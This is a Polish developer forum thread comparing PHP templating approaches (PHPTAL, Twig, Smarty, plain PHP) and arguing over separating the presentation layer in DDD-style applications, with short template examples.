Dla mnie ideałem od lat jest PHPTAL i nie wyobrażam sobie pracy na zwykłym kodzie PHP w widoku, a szablony typu Twig wcale się nie różnią w składni od gołego PHP. Jeszcze robią problemy kiedy trzeba sobie dodatkowo oprogramować np. wyświetlanie formularza z jakiegoś systemu. Ten przykład który podał !*! jest fajny do czasu gdy na wszystkich danych trzeba robić htmlentities().

PHPTal nie wygląda na taki superaśny. Wrzucanie pierdyliard atrybutów do znacznikow strasznie zaciemnia obraz szablonu.

Twig, Smarty, PHP czy inne twory... Każdy używa czego chce i w czym mu wygodnie. Ja wiem że do Smarty nie wrócę nigdy, Twig ew. php i starczy.

Ale w gratisie dostajesz wyjątek przy źle zamkniętych znacznikach (super ważna dla mnie kwestia dzięki którym nie ma źle zamkniętego kodu) i autoescape dla wszystkich danych. Zresztą PHPowa wersja i tak jest mocno okrojona o funkcje w stosunku do Pythonowego.

Dla mnie przykładowo:

[HTML] pobierz, plaintext 
<div i18n:translate="test">?</div>
<ul tal:repeat="row rows">
  <li tal:content="row/id">domyślne dane, pojawią się przy braku contentu</li>
</ul>
[HTML] pobierz, plaintext 

Jest super czytelne, umożliwia dodatkowo testowe ostylowanie albo pracę na JS.

A już z Twiga:

[HTML] pobierz, plaintext 
<ul>
    {% for user in users %}
        <li>{{ user.username|e }}</li>
    {% endfor %}
[HTML] pobierz, plaintext 

To zwykła sieczka i równie dobrze można gołe PHP używać. Szansa że się pomylisz w kodzie jest jeszcze większa.

Z chęcią, już nieco spokojniej odpowiadam.

Większość aplikacji, jakie piszę jest w metodyce DDD. Kod jest dzielony na 4 główne warstwy. W rzeczywistości każda z tych warstw jest ODDZIELNYM projektem i służy do zgoła innych rzeczy.

Górną warstwą jest Prezentacja. Jest to czysty HTML+CSS + JavaScript w dowolnej formie. Ajax, Angular, React, cokolwiek co obsługuje komunikację po API REST.

Poniżej jest warstwa Aplikacji, która najczęściej wykorzystuje mikroframework, w moim przypadku najczęściej jest to Slim. Nie mam w nim żadnej logiki aplikacji. Odbieram requesty z prezentacji wysyłam je do niższych warstw i wysyłam response. Ten projekt można prowadzić zupełnie równolegle do wszystkich innych, tak samo jak projekt prezentacji.

Poniżej jest warstwa modelu dziedziny - nie ma tutaj zapytań do baz danych, nie ma też obsługi requestów z prezentacji. To tuaj dzieje się wszystko, co decyduje o działaniu aplikacji w zakresie wiedzy.

Infrastruktura to ostatnia warstwa, w której zapewnia się repozytoria i ich obsługę oraz serwisy, które wykorzystuje model dziedziny, czasami aplikacja.

W takim podziale warstw nie ma mowy o mieszaniu kodu dwóch języków. Dla mnie jest to naturalne podejście. Dzięki temu zespół grafików i front-endowców jest w 100% niezależny od zespołu backendowców - może mockować zasoby tak, aby później spokojnie podłączyć już istniejący, gdy będzie gotowy.

Tak samo zespół projektujący API może sobie zaprojektować całą aplikację niespecjalnie przejmując się warstwą prezentacji, czy domeny, bo aplikacja nie posiada przecież najmniejszej wiedzy o domenie i nie potrzebuje żadnej wiedzy o prezentacji.

Infrastruktura również nie wymusza na nas w takim podejściu wyboru bazy danych - storage może być wszystkim. Inmemory, postgres, mysql - można zaimplementować różne bazy do odczytu i zapisu.

No i super. Czyli wszystko jasne. Przyszedles na forum by sie pochwalic ze uzywasz Angular a kazdy kto nie uzywa to jest be. Ok, dziekujemy, przyjelismy, mozesz teraz isc na inne forum i tam tez sie pochwalic

Nie złapałeś.
Nawet nie wiem czy zrozumiałeś w ogóle, co napisałem. Przetraw sobie jeszcze raz. Napisałem, że rozdzielenie warstwy prezentacji jest kluczowe. To czy jest to framework jsowy, czy jest to GUI desktopowe nie powinno być przedmiotem dyskusji. Aplikacja powinna być napisana tak, aby ani jeden, ani drugi nie miał problemu wdrożyć swój projekt.

Ok, to rodziel mi warstwe prezentacji w standardowym modelu gdzie nie masz angulara ani innych tego typu zabawek. Chetnie poslucham.

@event15 ale co ma do tematu to w jaki sposób pracujesz? Tu się rozchodzi o Twig czy PHP jako narzędzie do budowania widoków.

Oba się nadają, obu się używa.

@event15, a w aplikacji nie-RESTowej w MVC jak będziesz drukował dane?
Tak można iść karcić Javowców za JSP, bo mieszają Javę z HTML. Litości

Oczywiście Twig.



Twig IMO jest rozwiązaniem lepszym. Nadaje abstrakcję w kontrolerze na dane wysyłane do widoku. Jego pobranie to jedna komenda w composerze, użycie to kilka kliknięć. Stosując IDE, które wspiera budowanie widoków za pomocą wtyczki do Twiga sprawia, że jest to naturalny wybór.


Jeżeli już mam pisać nie-RESTową aplikację to oczywiście moim wyborem jest Twig.